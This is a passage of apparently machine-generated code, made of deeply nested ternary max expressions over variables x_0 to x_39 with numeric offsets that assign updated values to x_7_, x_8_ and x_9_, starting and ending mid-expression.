x_24)))) : (((5.0 + x_28) > (13.0 + x_31)? (5.0 + x_28) : (13.0 + x_31)) > ((17.0 + x_34) > ((3.0 + x_36) > (18.0 + x_38)? (3.0 + x_36) : (18.0 + x_38))? (17.0 + x_34) : ((3.0 + x_36) > (18.0 + x_38)? (3.0 + x_36) : (18.0 + x_38)))? ((5.0 + x_28) > (13.0 + x_31)? (5.0 + x_28) : (13.0 + x_31)) : ((17.0 + x_34) > ((3.0 + x_36) > (18.0 + x_38)? (3.0 + x_36) : (18.0 + x_38))? (17.0 + x_34) : ((3.0 + x_36) > (18.0 + x_38)? (3.0 + x_36) : (18.0 + x_38)))))? ((((11.0 + x_0) > (4.0 + x_3)? (11.0 + x_0) : (4.0 + x_3)) > ((9.0 + x_4) > ((8.0 + x_5) > (7.0 + x_6)? (8.0 + x_5) : (7.0 + x_6))? (9.0 + x_4) : ((8.0 + x_5) > (7.0 + x_6)? (8.0 + x_5) : (7.0 + x_6)))? ((11.0 + x_0) > (4.0 + x_3)? (11.0 + x_0) : (4.0 + x_3)) : ((9.0 + x_4) > ((8.0 + x_5) > (7.0 + x_6)? (8.0 + x_5) : (7.0 + x_6))? (9.0 + x_4) : ((8.0 + x_5) > (7.0 + x_6)? (8.0 + x_5) : (7.0 + x_6)))) > (((17.0 + x_7) > (12.0 + x_10)? (17.0 + x_7) : (12.0 + x_10)) > ((2.0 + x_11) > ((8.0 + x_14) > (6.0 + x_15)? (8.0 + x_14) : (6.0 + x_15))? (2.0 + x_11) : ((8.0 + x_14) > (6.0 + x_15)? (8.0 + x_14) : (6.0 + x_15)))? ((17.0 + x_7) > (12.0 + x_10)? (17.0 + x_7) : (12.0 + x_10)) : ((2.0 + x_11) > ((8.0 + x_14) > (6.0 + x_15)? (8.0 + x_14) : (6.0 + x_15))? (2.0 + x_11) : ((8.0 + x_14) > (6.0 + x_15)? (8.0 + x_14) : (6.0 + x_15))))? (((11.0 + x_0) > (4.0 + x_3)? (11.0 + x_0) : (4.0 + x_3)) > ((9.0 + x_4) > ((8.0 + x_5) > (7.0 + x_6)? (8.0 + x_5) : (7.0 + x_6))? (9.0 + x_4) : ((8.0 + x_5) > (7.0 + x_6)? (8.0 + x_5) : (7.0 + x_6)))? ((11.0 + x_0) > (4.0 + x_3)? (11.0 + x_0) : (4.0 + x_3)) : ((9.0 + x_4) > ((8.0 + x_5) > (7.0 + x_6)? (8.0 + x_5) : (7.0 + x_6))? (9.0 + x_4) : ((8.0 + x_5) > (7.0 + x_6)? (8.0 + x_5) : (7.0 + x_6)))) : (((17.0 + x_7) > (12.0 + x_10)? (17.0 + x_7) : (12.0 + x_10)) > ((2.0 + x_11) > ((8.0 + x_14) > (6.0 + x_15)? (8.0 + x_14) : (6.0 + x_15))? (2.0 + x_11) : ((8.0 + x_14) > (6.0 + x_15)? (8.0 + x_14) : (6.0 + x_15)))? ((17.0 + x_7) > (12.0 + x_10)? (17.0 + x_7) : (12.0 + x_10)) : ((2.0 + x_11) > ((8.0 + x_14) > (6.0 + x_15)? (8.0 + x_14) : (6.0 + x_15))? (2.0 + x_11) : ((8.0 + x_14) > (6.0 + x_15)? (8.0 + x_14) : (6.0 + x_15))))) : ((((5.0 + x_17) > (9.0 + x_18)? (5.0 + x_17) : (9.0 + x_18)) > ((5.0 + x_20) > ((9.0 + x_21) > (1.0 + x_24)? (9.0 + x_21) : (1.0 + x_24))? (5.0 + x_20) : ((9.0 + x_21) > (1.0 + x_24)? (9.0 + x_21) : (1.0 + x_24)))? ((5.0 + x_17) > (9.0 + x_18)? (5.0 + x_17) : (9.0 + x_18)) : ((5.0 + x_20) > ((9.0 + x_21) > (1.0 + x_24)? (9.0 + x_21) : (1.0 + x_24))? (5.0 + x_20) : ((9.0 + x_21) > (1.0 + x_24)? (9.0 + x_21) : (1.0 + x_24)))) > (((5.0 + x_28) > (13.0 + x_31)? (5.0 + x_28) : (13.0 + x_31)) > ((17.0 + x_34) > ((3.0 + x_36) > (18.0 + x_38)? (3.0 + x_36) : (18.0 + x_38))? (17.0 + x_34) : ((3.0 + x_36) > (18.0 + x_38)? (3.0 + x_36) : (18.0 + x_38)))? ((5.0 + x_28) > (13.0 + x_31)? (5.0 + x_28) : (13.0 + x_31)) : ((17.0 + x_34) > ((3.0 + x_36) > (18.0 + x_38)? (3.0 + x_36) : (18.0 + x_38))? (17.0 + x_34) : ((3.0 + x_36) > (18.0 + x_38)? (3.0 + x_36) : (18.0 + x_38))))? (((5.0 + x_17) > (9.0 + x_18)? (5.0 + x_17) : (9.0 + x_18)) > ((5.0 + x_20) > ((9.0 + x_21) > (1.0 + x_24)? (9.0 + x_21) : (1.0 + x_24))? (5.0 + x_20) : ((9.0 + x_21) > (1.0 + x_24)? (9.0 + x_21) : (1.0 + x_24)))? ((5.0 + x_17) > (9.0 + x_18)? (5.0 + x_17) : (9.0 + x_18)) : ((5.0 + x_20) > ((9.0 + x_21) > (1.0 + x_24)? (9.0 + x_21) : (1.0 + x_24))? (5.0 + x_20) : ((9.0 + x_21) > (1.0 + x_24)? (9.0 + x_21) : (1.0 + x_24)))) : (((5.0 + x_28) > (13.0 + x_31)? (5.0 + x_28) : (13.0 + x_31)) > ((17.0 + x_34) > ((3.0 + x_36) > (18.0 + x_38)? (3.0 + x_36) : (18.0 + x_38))? (17.0 + x_34) : ((3.0 + x_36) > (18.0 + x_38)? (3.0 + x_36) : (18.0 + x_38)))? ((5.0 + x_28) > (13.0 + x_31)? (5.0 + x_28) : (13.0 + x_31)) : ((17.0 + x_34) > ((3.0 + x_36) > (18.0 + x_38)? (3.0 + x_36) : (18.0 + x_38))? (17.0 + x_34) : ((3.0 + x_36) > (18.0 + x_38)? (3.0 + x_36) : (18.0 + x_38)))))); x_7_ = (((((7.0 + x_0) > (15.0 + x_1)? (7.0 + x_0) : (15.0 + x_1)) > ((2.0 + x_4) > ((16.0 + x_5) > (18.0 + x_7)? (16.0 + x_5) : (18.0 + x_7))? (2.0 + x_4) : ((16.0 + x_5) > (18.0 + x_7)? (16.0 + x_5) : (18.0 + x_7)))? ((7.0 + x_0) > (15.0 + x_1)? (7.0 + x_0) : (15.0 + x_1)) : ((2.0 + x_4) > ((16.0 + x_5) > (18.0 + x_7)? (16.0 + x_5) : (18.0 + x_7))? (2.0 + x_4) : ((16.0 + x_5) > (18.0 + x_7)? (16.0 + x_5) : (18.0 + x_7)))) > (((12.0 + x_8) > (17.0 + x_9)? (12.0 + x_8) : (17.0 + x_9)) > ((10.0 + x_10) > ((13.0 + x_11) > (9.0 + x_13)? (13.0 + x_11) : (9.0 + x_13))? (10.0 + x_10) : ((13.0 + x_11) > (9.0 + x_13)? (13.0 + x_11) : (9.0 + x_13)))? ((12.0 + x_8) > (17.0 + x_9)? (12.0 + x_8) : (17.0 + x_9)) : ((10.0 + x_10) > ((13.0 + x_11) > (9.0 + x_13)? (13.0 + x_11) : (9.0 + x_13))? (10.0 + x_10) : ((13.0 + x_11) > (9.0 + x_13)? (13.0 + x_11) : (9.0 + x_13))))? (((7.0 + x_0) > (15.0 + x_1)? (7.0 + x_0) : (15.0 + x_1)) > ((2.0 + x_4) > ((16.0 + x_5) > (18.0 + x_7)? (16.0 + x_5) : (18.0 + x_7))? (2.0 + x_4) : ((16.0 + x_5) > (18.0 + x_7)? (16.0 + x_5) : (18.0 + x_7)))? ((7.0 + x_0) > (15.0 + x_1)? (7.0 + x_0) : (15.0 + x_1)) : ((2.0 + x_4) > ((16.0 + x_5) > (18.0 + x_7)? (16.0 + x_5) : (18.0 + x_7))? (2.0 + x_4) : ((16.0 + x_5) > (18.0 + x_7)? (16.0 + x_5) : (18.0 + x_7)))) : (((12.0 + x_8) > (17.0 + x_9)? (12.0 + x_8) : (17.0 + x_9)) > ((10.0 + x_10) > ((13.0 + x_11) > (9.0 + x_13)? (13.0 + x_11) : (9.0 + x_13))? (10.0 + x_10) : ((13.0 + x_11) > (9.0 + x_13)? (13.0 + x_11) : (9.0 + x_13)))? ((12.0 + x_8) > (17.0 + x_9)? (12.0 + x_8) : (17.0 + x_9)) : ((10.0 + x_10) > ((13.0 + x_11) > (9.0 + x_13)? (13.0 + x_11) : (9.0 + x_13))? (10.0 + x_10) : ((13.0 + x_11) > (9.0 + x_13)? (13.0 + x_11) : (9.0 + x_13))))) > ((((16.0 + x_14) > (4.0 + x_25)? (16.0 + x_14) : (4.0 + x_25)) > ((9.0 + x_27) > ((3.0 + x_28) > (16.0 + x_30)? (3.0 + x_28) : (16.0 + x_30))? (9.0 + x_27) : ((3.0 + x_28) > (16.0 + x_30)? (3.0 + x_28) : (16.0 + x_30)))? ((16.0 + x_14) > (4.0 + x_25)? (16.0 + x_14) : (4.0 + x_25)) : ((9.0 + x_27) > ((3.0 + x_28) > (16.0 + x_30)? (3.0 + x_28) : (16.0 + x_30))? (9.0 + x_27) : ((3.0 + x_28) > (16.0 + x_30)? (3.0 + x_28) : (16.0 + x_30)))) > (((2.0 + x_34) > (19.0 + x_35)? (2.0 + x_34) : (19.0 + x_35)) > ((18.0 + x_36) > ((9.0 + x_37) > (17.0 + x_39)? (9.0 + x_37) : (17.0 + x_39))? (18.0 + x_36) : ((9.0 + x_37) > (17.0 + x_39)? (9.0 + x_37) : (17.0 + x_39)))? ((2.0 + x_34) > (19.0 + x_35)? (2.0 + x_34) : (19.0 + x_35)) : ((18.0 + x_36) > ((9.0 + x_37) > (17.0 + x_39)? (9.0 + x_37) : (17.0 + x_39))? (18.0 + x_36) : ((9.0 + x_37) > (17.0 + x_39)? (9.0 + x_37) : (17.0 + x_39))))? (((16.0 + x_14) > (4.0 + x_25)? (16.0 + x_14) : (4.0 + x_25)) > ((9.0 + x_27) > ((3.0 + x_28) > (16.0 + x_30)? (3.0 + x_28) : (16.0 + x_30))? (9.0 + x_27) : ((3.0 + x_28) > (16.0 + x_30)? (3.0 + x_28) : (16.0 + x_30)))? ((16.0 + x_14) > (4.0 + x_25)? (16.0 + x_14) : (4.0 + x_25)) : ((9.0 + x_27) > ((3.0 + x_28) > (16.0 + x_30)? (3.0 + x_28) : (16.0 + x_30))? (9.0 + x_27) : ((3.0 + x_28) > (16.0 + x_30)? (3.0 + x_28) : (16.0 + x_30)))) : (((2.0 + x_34) > (19.0 + x_35)? (2.0 + x_34) : (19.0 + x_35)) > ((18.0 + x_36) > ((9.0 + x_37) > (17.0 + x_39)? (9.0 + x_37) : (17.0 + x_39))? (18.0 + x_36) : ((9.0 + x_37) > (17.0 + x_39)? (9.0 + x_37) : (17.0 + x_39)))? ((2.0 + x_34) > (19.0 + x_35)? (2.0 + x_34) : (19.0 + x_35)) : ((18.0 + x_36) > ((9.0 + x_37) > (17.0 + x_39)? (9.0 + x_37) : (17.0 + x_39))? (18.0 + x_36) : ((9.0 + x_37) > (17.0 + x_39)? (9.0 + x_37) : (17.0 + x_39)))))? ((((7.0 + x_0) > (15.0 + x_1)? (7.0 + x_0) : (15.0 + x_1)) > ((2.0 + x_4) > ((16.0 + x_5) > (18.0 + x_7)? (16.0 + x_5) : (18.0 + x_7))? (2.0 + x_4) : ((16.0 + x_5) > (18.0 + x_7)? (16.0 + x_5) : (18.0 + x_7)))? ((7.0 + x_0) > (15.0 + x_1)? (7.0 + x_0) : (15.0 + x_1)) : ((2.0 + x_4) > ((16.0 + x_5) > (18.0 + x_7)? (16.0 + x_5) : (18.0 + x_7))? (2.0 + x_4) : ((16.0 + x_5) > (18.0 + x_7)? (16.0 + x_5) : (18.0 + x_7)))) > (((12.0 + x_8) > (17.0 + x_9)? (12.0 + x_8) : (17.0 + x_9)) > ((10.0 + x_10) > ((13.0 + x_11) > (9.0 + x_13)? (13.0 + x_11) : (9.0 + x_13))? (10.0 + x_10) : ((13.0 + x_11) > (9.0 + x_13)? (13.0 + x_11) : (9.0 + x_13)))? ((12.0 + x_8) > (17.0 + x_9)? (12.0 + x_8) : (17.0 + x_9)) : ((10.0 + x_10) > ((13.0 + x_11) > (9.0 + x_13)? (13.0 + x_11) : (9.0 + x_13))? (10.0 + x_10) : ((13.0 + x_11) > (9.0 + x_13)? (13.0 + x_11) : (9.0 + x_13))))? (((7.0 + x_0) > (15.0 + x_1)? (7.0 + x_0) : (15.0 + x_1)) > ((2.0 + x_4) > ((16.0 + x_5) > (18.0 + x_7)? (16.0 + x_5) : (18.0 + x_7))? (2.0 + x_4) : ((16.0 + x_5) > (18.0 + x_7)? (16.0 + x_5) : (18.0 + x_7)))? ((7.0 + x_0) > (15.0 + x_1)? (7.0 + x_0) : (15.0 + x_1)) : ((2.0 + x_4) > ((16.0 + x_5) > (18.0 + x_7)? (16.0 + x_5) : (18.0 + x_7))? (2.0 + x_4) : ((16.0 + x_5) > (18.0 + x_7)? (16.0 + x_5) : (18.0 + x_7)))) : (((12.0 + x_8) > (17.0 + x_9)? (12.0 + x_8) : (17.0 + x_9)) > ((10.0 + x_10) > ((13.0 + x_11) > (9.0 + x_13)? (13.0 + x_11) : (9.0 + x_13))? (10.0 + x_10) : ((13.0 + x_11) > (9.0 + x_13)? (13.0 + x_11) : (9.0 + x_13)))? ((12.0 + x_8) > (17.0 + x_9)? (12.0 + x_8) : (17.0 + x_9)) : ((10.0 + x_10) > ((13.0 + x_11) > (9.0 + x_13)? (13.0 + x_11) : (9.0 + x_13))? (10.0 + x_10) : ((13.0 + x_11) > (9.0 + x_13)? (13.0 + x_11) : (9.0 + x_13))))) : ((((16.0 + x_14) > (4.0 + x_25)? (16.0 + x_14) : (4.0 + x_25)) > ((9.0 + x_27) > ((3.0 + x_28) > (16.0 + x_30)? (3.0 + x_28) : (16.0 + x_30))? (9.0 + x_27) : ((3.0 + x_28) > (16.0 + x_30)? (3.0 + x_28) : (16.0 + x_30)))? ((16.0 + x_14) > (4.0 + x_25)? (16.0 + x_14) : (4.0 + x_25)) : ((9.0 + x_27) > ((3.0 + x_28) > (16.0 + x_30)? (3.0 + x_28) : (16.0 + x_30))? (9.0 + x_27) : ((3.0 + x_28) > (16.0 + x_30)? (3.0 + x_28) : (16.0 + x_30)))) > (((2.0 + x_34) > (19.0 + x_35)? (2.0 + x_34) : (19.0 + x_35)) > ((18.0 + x_36) > ((9.0 + x_37) > (17.0 + x_39)? (9.0 + x_37) : (17.0 + x_39))? (18.0 + x_36) : ((9.0 + x_37) > (17.0 + x_39)? (9.0 + x_37) : (17.0 + x_39)))? ((2.0 + x_34) > (19.0 + x_35)? (2.0 + x_34) : (19.0 + x_35)) : ((18.0 + x_36) > ((9.0 + x_37) > (17.0 + x_39)? (9.0 + x_37) : (17.0 + x_39))? (18.0 + x_36) : ((9.0 + x_37) > (17.0 + x_39)? (9.0 + x_37) : (17.0 + x_39))))? (((16.0 + x_14) > (4.0 + x_25)? (16.0 + x_14) : (4.0 + x_25)) > ((9.0 + x_27) > ((3.0 + x_28) > (16.0 + x_30)? (3.0 + x_28) : (16.0 + x_30))? (9.0 + x_27) : ((3.0 + x_28) > (16.0 + x_30)? (3.0 + x_28) : (16.0 + x_30)))? ((16.0 + x_14) > (4.0 + x_25)? (16.0 + x_14) : (4.0 + x_25)) : ((9.0 + x_27) > ((3.0 + x_28) > (16.0 + x_30)? (3.0 + x_28) : (16.0 + x_30))? (9.0 + x_27) : ((3.0 + x_28) > (16.0 + x_30)? (3.0 + x_28) : (16.0 + x_30)))) : (((2.0 + x_34) > (19.0 + x_35)? (2.0 + x_34) : (19.0 + x_35)) > ((18.0 + x_36) > ((9.0 + x_37) > (17.0 + x_39)? (9.0 + x_37) : (17.0 + x_39))? (18.0 + x_36) : ((9.0 + x_37) > (17.0 + x_39)? (9.0 + x_37) : (17.0 + x_39)))? ((2.0 + x_34) > (19.0 + x_35)? (2.0 + x_34) : (19.0 + x_35)) : ((18.0 + x_36) > ((9.0 + x_37) > (17.0 + x_39)? (9.0 + x_37) : (17.0 + x_39))? (18.0 + x_36) : ((9.0 + x_37) > (17.0 + x_39)? (9.0 + x_37) : (17.0 + x_39)))))); x_8_ = (((((7.0 + x_3) > (18.0 + x_5)? (7.0 + x_3) : (18.0 + x_5)) > ((15.0 + x_7) > ((14.0 + x_8) > (20.0 + x_9)? (14.0 + x_8) : (20.0 + x_9))? (15.0 + x_7) : ((14.0 + x_8) > (20.0 + x_9)? (14.0 + x_8) : (20.0 + x_9)))? ((7.0 + x_3) > (18.0 + x_5)? (7.0 + x_3) : (18.0 + x_5)) : ((15.0 + x_7) > ((14.0 + x_8) > (20.0 + x_9)? (14.0 + x_8) : (20.0 + x_9))? (15.0 + x_7) : ((14.0 + x_8) > (20.0 + x_9)? (14.0 + x_8) : (20.0 + x_9)))) > (((7.0 + x_11) > (10.0 + x_12)? (7.0 + x_11) : (10.0 + x_12)) > ((4.0 + x_13) > ((20.0 + x_17) > (6.0 + x_18)? (20.0 + x_17) : (6.0 + x_18))? (4.0 + x_13) : ((20.0 + x_17) > (6.0 + x_18)? (20.0 + x_17) : (6.0 + x_18)))? ((7.0 + x_11) > (10.0 + x_12)? (7.0 + x_11) : (10.0 + x_12)) : ((4.0 + x_13) > ((20.0 + x_17) > (6.0 + x_18)? (20.0 + x_17) : (6.0 + x_18))? (4.0 + x_13) : ((20.0 + x_17) > (6.0 + x_18)? (20.0 + x_17) : (6.0 + x_18))))? (((7.0 + x_3) > (18.0 + x_5)? (7.0 + x_3) : (18.0 + x_5)) > ((15.0 + x_7) > ((14.0 + x_8) > (20.0 + x_9)? (14.0 + x_8) : (20.0 + x_9))? (15.0 + x_7) : ((14.0 + x_8) > (20.0 + x_9)? (14.0 + x_8) : (20.0 + x_9)))? ((7.0 + x_3) > (18.0 + x_5)? (7.0 + x_3) : (18.0 + x_5)) : ((15.0 + x_7) > ((14.0 + x_8) > (20.0 + x_9)? (14.0 + x_8) : (20.0 + x_9))? (15.0 + x_7) : ((14.0 + x_8) > (20.0 + x_9)? (14.0 + x_8) : (20.0 + x_9)))) : (((7.0 + x_11) > (10.0 + x_12)? (7.0 + x_11) : (10.0 + x_12)) > ((4.0 + x_13) > ((20.0 + x_17) > (6.0 + x_18)? (20.0 + x_17) : (6.0 + x_18))? (4.0 + x_13) : ((20.0 + x_17) > (6.0 + x_18)? (20.0 + x_17) : (6.0 + x_18)))? ((7.0 + x_11) > (10.0 + x_12)? (7.0 + x_11) : (10.0 + x_12)) : ((4.0 + x_13) > ((20.0 + x_17) > (6.0 + x_18)? (20.0 + x_17) : (6.0 + x_18))? (4.0 + x_13) : ((20.0 + x_17) > (6.0 + x_18)? (20.0 + x_17) : (6.0 + x_18))))) > ((((4.0 + x_19) > (4.0 + x_21)? (4.0 + x_19) : (4.0 + x_21)) > ((18.0 + x_22) > ((2.0 + x_23) > (10.0 + x_24)? (2.0 + x_23) : (10.0 + x_24))? (18.0 + x_22) : ((2.0 + x_23) > (10.0 + x_24)? (2.0 + x_23) : (10.0 + x_24)))? ((4.0 + x_19) > (4.0 + x_21)? (4.0 + x_19) : (4.0 + x_21)) : ((18.0 + x_22) > ((2.0 + x_23) > (10.0 + x_24)? (2.0 + x_23) : (10.0 + x_24))? (18.0 + x_22) : ((2.0 + x_23) > (10.0 + x_24)? (2.0 + x_23) : (10.0 + x_24)))) > (((16.0 + x_25) > (13.0 + x_30)? (16.0 + x_25) : (13.0 + x_30)) > ((4.0 + x_32) > ((11.0 + x_35) > (11.0 + x_37)? (11.0 + x_35) : (11.0 + x_37))? (4.0 + x_32) : ((11.0 + x_35) > (11.0 + x_37)? (11.0 + x_35) : (11.0 + x_37)))? ((16.0 + x_25) > (13.0 + x_30)? (16.0 + x_25) : (13.0 + x_30)) : ((4.0 + x_32) > ((11.0 + x_35) > (11.0 + x_37)? (11.0 + x_35) : (11.0 + x_37))? (4.0 + x_32) : ((11.0 + x_35) > (11.0 + x_37)? (11.0 + x_35) : (11.0 + x_37))))? (((4.0 + x_19) > (4.0 + x_21)? (4.0 + x_19) : (4.0 + x_21)) > ((18.0 + x_22) > ((2.0 + x_23) > (10.0 + x_24)? (2.0 + x_23) : (10.0 + x_24))? (18.0 + x_22) : ((2.0 + x_23) > (10.0 + x_24)? (2.0 + x_23) : (10.0 + x_24)))? ((4.0 + x_19) > (4.0 + x_21)? (4.0 + x_19) : (4.0 + x_21)) : ((18.0 + x_22) > ((2.0 + x_23) > (10.0 + x_24)? (2.0 + x_23) : (10.0 + x_24))? (18.0 + x_22) : ((2.0 + x_23) > (10.0 + x_24)? (2.0 + x_23) : (10.0 + x_24)))) : (((16.0 + x_25) > (13.0 + x_30)? (16.0 + x_25) : (13.0 + x_30)) > ((4.0 + x_32) > ((11.0 + x_35) > (11.0 + x_37)? (11.0 + x_35) : (11.0 + x_37))? (4.0 + x_32) : ((11.0 + x_35) > (11.0 + x_37)? (11.0 + x_35) : (11.0 + x_37)))? ((16.0 + x_25) > (13.0 + x_30)? (16.0 + x_25) : (13.0 + x_30)) : ((4.0 + x_32) > ((11.0 + x_35) > (11.0 + x_37)? (11.0 + x_35) : (11.0 + x_37))? (4.0 + x_32) : ((11.0 + x_35) > (11.0 + x_37)? (11.0 + x_35) : (11.0 + x_37)))))? ((((7.0 + x_3) > (18.0 + x_5)? (7.0 + x_3) : (18.0 + x_5)) > ((15.0 + x_7) > ((14.0 + x_8) > (20.0 + x_9)? (14.0 + x_8) : (20.0 + x_9))? (15.0 + x_7) : ((14.0 + x_8) > (20.0 + x_9)? (14.0 + x_8) : (20.0 + x_9)))? ((7.0 + x_3) > (18.0 + x_5)? (7.0 + x_3) : (18.0 + x_5)) : ((15.0 + x_7) > ((14.0 + x_8) > (20.0 + x_9)? (14.0 + x_8) : (20.0 + x_9))? (15.0 + x_7) : ((14.0 + x_8) > (20.0 + x_9)? (14.0 + x_8) : (20.0 + x_9)))) > (((7.0 + x_11) > (10.0 + x_12)? (7.0 + x_11) : (10.0 + x_12)) > ((4.0 + x_13) > ((20.0 + x_17) > (6.0 + x_18)? (20.0 + x_17) : (6.0 + x_18))? (4.0 + x_13) : ((20.0 + x_17) > (6.0 + x_18)? (20.0 + x_17) : (6.0 + x_18)))? ((7.0 + x_11) > (10.0 + x_12)? (7.0 + x_11) : (10.0 + x_12)) : ((4.0 + x_13) > ((20.0 + x_17) > (6.0 + x_18)? (20.0 + x_17) : (6.0 + x_18))? (4.0 + x_13) : ((20.0 + x_17) > (6.0 + x_18)? (20.0 + x_17) : (6.0 + x_18))))? (((7.0 + x_3) > (18.0 + x_5)? (7.0 + x_3) : (18.0 + x_5)) > ((15.0 + x_7) > ((14.0 + x_8) > (20.0 + x_9)? (14.0 + x_8) : (20.0 + x_9))? (15.0 + x_7) : ((14.0 + x_8) > (20.0 + x_9)? (14.0 + x_8) : (20.0 + x_9)))? ((7.0 + x_3) > (18.0 + x_5)? (7.0 + x_3) : (18.0 + x_5)) : ((15.0 + x_7) > ((14.0 + x_8) > (20.0 + x_9)? (14.0 + x_8) : (20.0 + x_9))? (15.0 + x_7) : ((14.0 + x_8) > (20.0 + x_9)? (14.0 + x_8) : (20.0 + x_9)))) : (((7.0 + x_11) > (10.0 + x_12)? (7.0 + x_11) : (10.0 + x_12)) > ((4.0 + x_13) > ((20.0 + x_17) > (6.0 + x_18)? (20.0 + x_17) : (6.0 + x_18))? (4.0 + x_13) : ((20.0 + x_17) > (6.0 + x_18)? (20.0 + x_17) : (6.0 + x_18)))? ((7.0 + x_11) > (10.0 + x_12)? (7.0 + x_11) : (10.0 + x_12)) : ((4.0 + x_13) > ((20.0 + x_17) > (6.0 + x_18)? (20.0 + x_17) : (6.0 + x_18))? (4.0 + x_13) : ((20.0 + x_17) > (6.0 + x_18)? (20.0 + x_17) : (6.0 + x_18))))) : ((((4.0 + x_19) > (4.0 + x_21)? (4.0 + x_19) : (4.0 + x_21)) > ((18.0 + x_22) > ((2.0 + x_23) > (10.0 + x_24)? (2.0 + x_23) : (10.0 + x_24))? (18.0 + x_22) : ((2.0 + x_23) > (10.0 + x_24)? (2.0 + x_23) : (10.0 + x_24)))? ((4.0 + x_19) > (4.0 + x_21)? (4.0 + x_19) : (4.0 + x_21)) : ((18.0 + x_22) > ((2.0 + x_23) > (10.0 + x_24)? (2.0 + x_23) : (10.0 + x_24))? (18.0 + x_22) : ((2.0 + x_23) > (10.0 + x_24)? (2.0 + x_23) : (10.0 + x_24)))) > (((16.0 + x_25) > (13.0 + x_30)? (16.0 + x_25) : (13.0 + x_30)) > ((4.0 + x_32) > ((11.0 + x_35) > (11.0 + x_37)? (11.0 + x_35) : (11.0 + x_37))? (4.0 + x_32) : ((11.0 + x_35) > (11.0 + x_37)? (11.0 + x_35) : (11.0 + x_37)))? ((16.0 + x_25) > (13.0 + x_30)? (16.0 + x_25) : (13.0 + x_30)) : ((4.0 + x_32) > ((11.0 + x_35) > (11.0 + x_37)? (11.0 + x_35) : (11.0 + x_37))? (4.0 + x_32) : ((11.0 + x_35) > (11.0 + x_37)? (11.0 + x_35) : (11.0 + x_37))))? (((4.0 + x_19) > (4.0 + x_21)? (4.0 + x_19) : (4.0 + x_21)) > ((18.0 + x_22) > ((2.0 + x_23) > (10.0 + x_24)? (2.0 + x_23) : (10.0 + x_24))? (18.0 + x_22) : ((2.0 + x_23) > (10.0 + x_24)? (2.0 + x_23) : (10.0 + x_24)))? ((4.0 + x_19) > (4.0 + x_21)? (4.0 + x_19) : (4.0 + x_21)) : ((18.0 + x_22) > ((2.0 + x_23) > (10.0 + x_24)? (2.0 + x_23) : (10.0 + x_24))? (18.0 + x_22) : ((2.0 + x_23) > (10.0 + x_24)? (2.0 + x_23) : (10.0 + x_24)))) : (((16.0 + x_25) > (13.0 + x_30)? (16.0 + x_25) : (13.0 + x_30)) > ((4.0 + x_32) > ((11.0 + x_35) > (11.0 + x_37)? (11.0 + x_35) : (11.0 + x_37))? (4.0 + x_32) : ((11.0 + x_35) > (11.0 + x_37)? (11.0 + x_35) : (11.0 + x_37)))? ((16.0 + x_25) > (13.0 + x_30)? (16.0 + x_25) : (13.0 + x_30)) : ((4.0 + x_32) > ((11.0 + x_35) > (11.0 + x_37)? (11.0 + x_35) : (11.0 + x_37))? (4.0 + x_32) : ((11.0 + x_35) > (11.0 + x_37)? (11.0 + x_35) : (11.0 + x_37)))))); x_9_ = (((((14.0 + x_3) > (5.0 + x_7)? (14.0 + x_3) : (5.0 + x_7)) > ((20.0 + x_8) > ((10.0 + x_9) > (15.0 + x_10)? (10.0 + x_9) : (15.0 + x_10))? (20.0 + x_8) : ((10.0 + x_9) > (15.0 + x_10)? (10.0 + x_9) : (15.0 + x_10)))? ((14.0 + x_3) > (5.0 + x_7)? (14.0 + x_3) : (5.0 + x_7)) : ((20.0 + x_8) > ((10.0 + x_9) > (15.0 + x_10)? (10.0 + x_9) : (15.0 + x_10))? (20.0 + x_8) : ((10.0 + x_9) > (15.0 + x_10)? (10.0 + x_9) : (15.0 + x_10)))) > (((14.0 + x_11) > (12.0 + x_14)? (14.0 + x_11) : (12.0 + x_14)) > ((15.0 + x_15) > ((16.0 + x_21) > (20.0 + x_22)? (16.0 + x_21) : (20.0 + x_22))? (15.0 + x_15) : ((16.0 + x_21) > (20.0 + x_22)? (16.0 + x_21) : (20.0 + x_22)))? ((14.0 + x_11) > (12.0 + x_14)? (14.0 + x_11) : (12.0 + x_14)) : ((15.0 + x_15) > ((16.0 + x_21) > (20.0 + x_22)? (16.0 + x_21) : (20.0 + x_22))? (15.0 + x_15) : ((16.0 + x_21) > (20.0 + x_22)? (16.0 + x_21) : (20.0 + x_22))))? (((14.0 + x_3) > (5.0 + x_7)? (14.0 + x_3) : (5.0 + x_7)) > ((20.0 + x_8) > ((10.0 + x_9) > (15.0 + x_10)? (10.0 + x_9) : (15.0 + x_10))? (20.0 + x_8) : ((10.0 + x_9) > (15.0 + x_10)? (10.0 + x_9) : (15.0 + x_10)))? ((14.0 + x_3) > (5.0 + x_7)? (14.0 + x_3) : (5.0 + x_7)) : ((20.0 + x_8) > ((10.0 + x_9) > (15.0 + x_10)? (10.0 + x_9) : (15.0 + x_10))? (20.0 + x_8) : ((10.0 + x_9) > (15.0 + x_10)? (10.0 + x_9) : (15.0 + x_10)))) : (((14.0 + x_11) > (12.0 + x_14)? (14.0 + x_11) : (12.0 + x_14)) > ((15.0 + x_15) > ((16.0 + x_21) > (20.0 + x_22)? (16.0 + x_21) : (20.0 + x_22))? (15.0 + x_15) : ((16.0 + x_21) > (20.0 + x_22)? (16.0 + x_21) : (20.0 + x_22)))? ((14.0 + x_11) > (12.0 + x_14)? (14.0 + x_11) : (12.0 + x_14)) : ((15.0 + x_15) > ((16.0 + x_21) > (20.0 + x_22)? (16.0 + x_21) : (20.0 + x_22))? (15.0 + x_15) : ((16.0 + x_21) > (20.0 + x_22)? (16.0 + x_21) : (20.0 + x_22))))) > ((((9.0 + x_24) > (20.0 + x_26)? (9.0 + x_24) : (20.0 + x_26)) > ((2.0 + x_27) > ((16.0 + x_28) > (3.0 + x_29)? (16.0 + x_28) : (3.0 + x_29))? (2.0 + x_27) : ((16.0 + x_28) > (3.0 + x_29)? (16.0 + x_28) : (3.0 + x_29)))? ((9.0 + x_24) > (20.0 + x_26)? (9.0 + x_24) : (20.0 + x_26)) : ((2.0 + x_27) > ((16.0 + x_28) > (3.0 + x_29)? (16.0 + x_28) : (3.0 + x_29))? (2.0 + x_27) : ((16.0 + x_28) > (3.0 + x_29)? (16.0 + x_28) : (3.0 + x_29)))) > (((3.0 + x_30) > (14.0 + x_35)? (3.0 + x_30) : (14.0 + x_35)) > ((11.0 + x_37) > ((13.0 + x_38) > (4.0 + x_39)? (13.0 + x_38) : (4.0 + x_39))? (11.0 + x_37) : ((13.0 + x_38) > (4.0 + x_39)? (13.0 + x_38) : (4.0 + x_39)))? ((3.0 + x_30) > (14.0 + x_35)? (3.0 + x_30) : (14.0 + x_35)) : 